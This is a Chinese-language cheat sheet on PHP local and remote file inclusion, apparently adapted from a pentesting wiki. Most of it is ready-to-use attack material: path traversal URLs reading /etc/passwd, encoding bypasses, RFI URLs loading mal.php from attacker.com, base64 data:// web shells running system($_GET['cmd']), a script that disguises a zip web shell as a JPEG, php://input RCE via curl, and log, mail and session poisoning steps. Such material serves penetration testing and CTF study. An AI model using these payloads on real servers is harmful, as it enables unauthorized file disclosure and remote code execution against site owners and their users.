文件包含漏洞
- 1.文件包含漏洞概述
- 2.文件包含漏洞fuzz字典
- 3.LFI绕过
-
- [空字节 (%00)绕过](#空字节 (%00)绕过)
- 编码绕过
- 后端检查文件夹路径绕过
- 更改遍历序列
- 路径截断技术
- 4.使用LFI漏洞探索文件系统
- 5.远程文件包含RFI
- [6.使用 PHP 包装器和协议的 LFI / RFI](#6.使用 PHP 包装器和协议的 LFI / RFI)
- 7.文件包含RCE的技巧
-
- 通过Apache/Nginx日志文件
- 通过电子邮件
- 通过Zip文件上传
- [通过 `/proc/*/fd/*`](#通过
/proc/*/fd/*
) - [通过 PHP 会话](#通过 PHP 会话)
- [通过 vsftpd 日志](#通过 vsftpd 日志)
- [通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露](#通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露)
1.文件包含漏洞概述
当用户以某种方式控制即将由服务器加载的文件时,就会出现漏洞。
- 远程文件包含(RFI): 从远程服务器加载文件。在php中,默认情况下禁用此功能(
allow_url_include
) - 本地文件包含(LFI): 服务器加载本地文件
易受攻击的PHP函数:require、require_once、include、include_once
2.文件包含漏洞fuzz字典
1、Linux系统字典
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
2、Windows系统字典
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
3.LFI绕过
空字节 (%00)绕过
http://example.com/index.php?page=../../../etc/passwd%00
这个问题自 PHP 5.4
起已解决
编码绕过
您可以使用非标准编码,如双重 URL 编码(等等):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
后端检查文件夹路径绕过
也许后端正在检查文件夹路径,可以使用如下方法进行绕过:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
更改遍历序列
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
路径截断技术
路径截断是一种用于操纵Web应用程序中文件路径的方法。它经常被用来访问受限文件,通过绕过某些安全措施,这些措施会在文件路径末尾附加额外字符。其目标是构建一个文件路径,一旦被安全措施修改,仍然指向所需的文件。
Linux由于文件系统的特性,文件路径的各种表示可以被视为等效的,例如:
/etc/passwd
、/etc//passwd
、/etc/./passwd
和 /etc/passwd/
都被视为相同路径。
4.使用LFI漏洞探索文件系统
1、确定目录深度: 通过成功获取 /etc/passwd
文件(如果服务器基于Linux)来确定当前目录的深度。例如,URL 可能被构造如下,指示深度为三:
http://example.com/index.php?page=../../../etc/passwd
2、探测文件夹: 将疑似文件夹的名称(例如,private)附加到URL,然后导航回到 /etc/passwd
。额外的目录级别需要将深度增加一级,此时的目录深度为四:
http://example.com/index.php?page=private/../../../../etc/passwd
此时解释结果,利用服务器的响应探测文件夹是否存在:
- 错误 / 无输出: 文件夹 private 可能不存在于指定位置。
/etc/passwd
的内容: 确认存在 private 文件夹。
3、递归探索: 可以进一步探查已发现的文件夹,以查找子目录或文件,使用相同的技术或传统的本地文件包含(LFI)方法。
4、要在文件系统中不同位置探索目录,需要相应调整有效载荷。例如,要检查 /var/www/ 是否包含 private 目录(假设当前目录深度为 3),请使用:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
5.远程文件包含RFI
在 php 中,默认情况下会禁用远程文件包含这个功能,因为 allow_url_include
默认是 Off
。它必须被设置为 On
才能工作,在这种情况下,你可以包含来自你的服务器的 PHP 文件并获得 RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
如果由于某种原因allow_url_include
被设置为On
,但PHP正在过滤对外部网页的访问,你可以使用数据协议与base64来解码一个base64 PHP代码并获得RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
最后添加 +.txt
是因为攻击者需要一个以 .txt
结尾的字符串,因此字符串以它结尾,在经过 base64 解码后,该部分将只返回垃圾内容,而真正的 PHP 代码将被包含
另一个示例不使用 php://
协议的例子是:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
6.使用 PHP 包装器和协议的 LFI / RFI
PHP过滤器概述
PHP 过滤器允许在数据被读取或写入之前执行基本的修改操作。有 5 类过滤器:
1、字符串过滤器:
- string.rot13
- string.toupper
- string.tolower
- string.strip_tags: 从数据中删除标签(位于 "<" 和 ">" 字符之间的所有内容)
2、转换过滤器:
- convert.base64-encode
- convert.base64-decode
- convert.quoted-printable-encode
- convert.quoted-printable-decode
convert.iconv.*
:转换为不同的编码(convert.iconv.<input_enc>.<output_enc>
)。要获取支持的所有编码列表,请在控制台中运行:iconv -l
滥用 convert.iconv.*
转换过滤器,您可以生成任意文本,这可能对编写任意文本或执行包含过程中的任意文本很有用
3、压缩过滤器:
- zlib.deflate: 压缩内容(如果需要外泄大量信息,则很有用)
- zlib.inflate: 解压数据
4、加密过滤器
- mcrypt.*:已弃用
- mdecrypt.*:已弃用
5、其他过滤器
- 在 php 中运行
var_dump(stream_get_filters());
,您可以找到一些意外的过滤器: - consumed
- dechunk:反转 HTTP 分块编码
- convert.*
php://fd
此包装器允许访问进程打开的文件描述符。可能有用于外泄已打开文件的内容:
php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
你也可以使用 php://stdin
, php://stdout
和 php://stderr
来分别访问 文件描述符 0, 1 和 2
zip:// 和 rar://
此协议可以上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它
zip模式的攻击步骤如下:
bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
# 之后构造文件包含payload如下:
http://example.com/index.php?page=zip://shell.jpg%23payload.php
rar模式的攻击步骤如下:
bash
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
# 之后构造文件包含payload如下:
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
data://
伪协议可用于将数据直接嵌入到网页中,而无需通过HTTP请求。这种技术可用于利用文件包含漏洞,将恶意数据注入到受影响的网页中
此协议受 php 配置 allow_url_open
和 allow_url_include
限制
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
expect://
Expect 必须被激活。之后可以使用以下方式执行代码:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
在POST参数中指定您的有效载荷:
bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
更多协议
检查更多可能的要包含的协议:
- php://memory 和 php://temp --- 写入内存或临时文件
- file:// --- 访问本地文件系统
- http:// --- 访问 HTTP(s) URL
- ftp:// --- 访问 FTP(s) URL
- zlib:// --- 压缩流
- glob:// --- 查找与模式匹配的路径名
- ssh2:// --- 安全 Shell 2
- ogg:// --- 音频流
7.文件包含RCE的技巧
通过Apache/Nginx日志文件
如果Apache或Nginx服务器受到LFI的影响,您可以尝试包含/var/log/apache2/access.log
或/var/log/nginx/access.log
日志文件达到命令执行的效果,在用户代理或GET参数中设置一个像<?php system($_GET['c']); ?>
的php shell并包含该文件
如果您在shell中使用双引号而不是单引号,双引号将被修改为字符串"
quote;
",PHP会在那里抛出错误,不会执行任何其他操作
其他可能的日志路径:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
通过电子邮件
发送一封邮件到内部账户 (user@localhost) 包含你的 PHP payload,例如 <?php echo system($_REQUEST["cmd"]); ?>
,并尝试通过路径如 /var/mail/<USERNAME>
或 /var/spool/mail/<USERNAME>
包含到用户的邮件中
通过Zip文件上传
上传一个包含压缩的PHP shell的ZIP文件并访问:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
通过 /proc/*/fd/*
上传大量的 shells (例如:100)
包含 http://example.com/index.php?page=/proc/$PID/fd/$FD
,其中 $PID
= 进程的 PID (可以暴力破解),$FD
为文件描述符 (也可以暴力破解)
通过 PHP 会话
检查网站是否使用 PHP 会话(PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
在PHP中,这些会话被存储在/var/lib/php5/sess_[PHPSESSID]
文件中
将cookie设置为 <?php system('cat /etc/passwd');?>
接着使用本地文件包含(LFI)来包含PHP会话文件:
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
通过 vsftpd 日志
FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log
。在存在本地文件包含(LFI)漏洞且可以访问到暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:
- 在登录过程中将 PHP 负载注入到用户名字段。
- 注入后,利用 LFI 从
/var/log/vsftpd.log
检索服务器日志以进行RCE利用。
通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露
使用协议 compress.zlib://
和标志 PHP_STREAM_PREFER_STDIO
打开的文件可以继续将到达连接的数据写入同一文件
php
file_get_contents("compress.zlib://http://attacker.com/file")
这将发送一个请求,请求http://attacker.com/file
,然后服务器可能会用一个有效的HTTP响应来回应该请求,保持连接打开,并在稍后发送额外数据,这些数据也会被写入文件。
CTF原题解题思路:
- 攻击者将使受害者服务器打开一个连接,从攻击者服务器读取文件,使用
compress.zlib
协议。 - 在这个连接存在的时候,攻击者将窃取临时文件的路径(被服务器泄露)。
- 在连接仍然打开的情况下,攻击者将利用LFI加载他控制的临时文件。
- 然而,Web服务器中有一个检查,阻止加载包含
<?
的文件。因此,攻击者可以尝试竞争条件绕过。在仍然打开的连接中,攻击者将在Web服务器检查文件是否包含被禁止字符之后发送PHP有效载荷,但在加载其内容之前。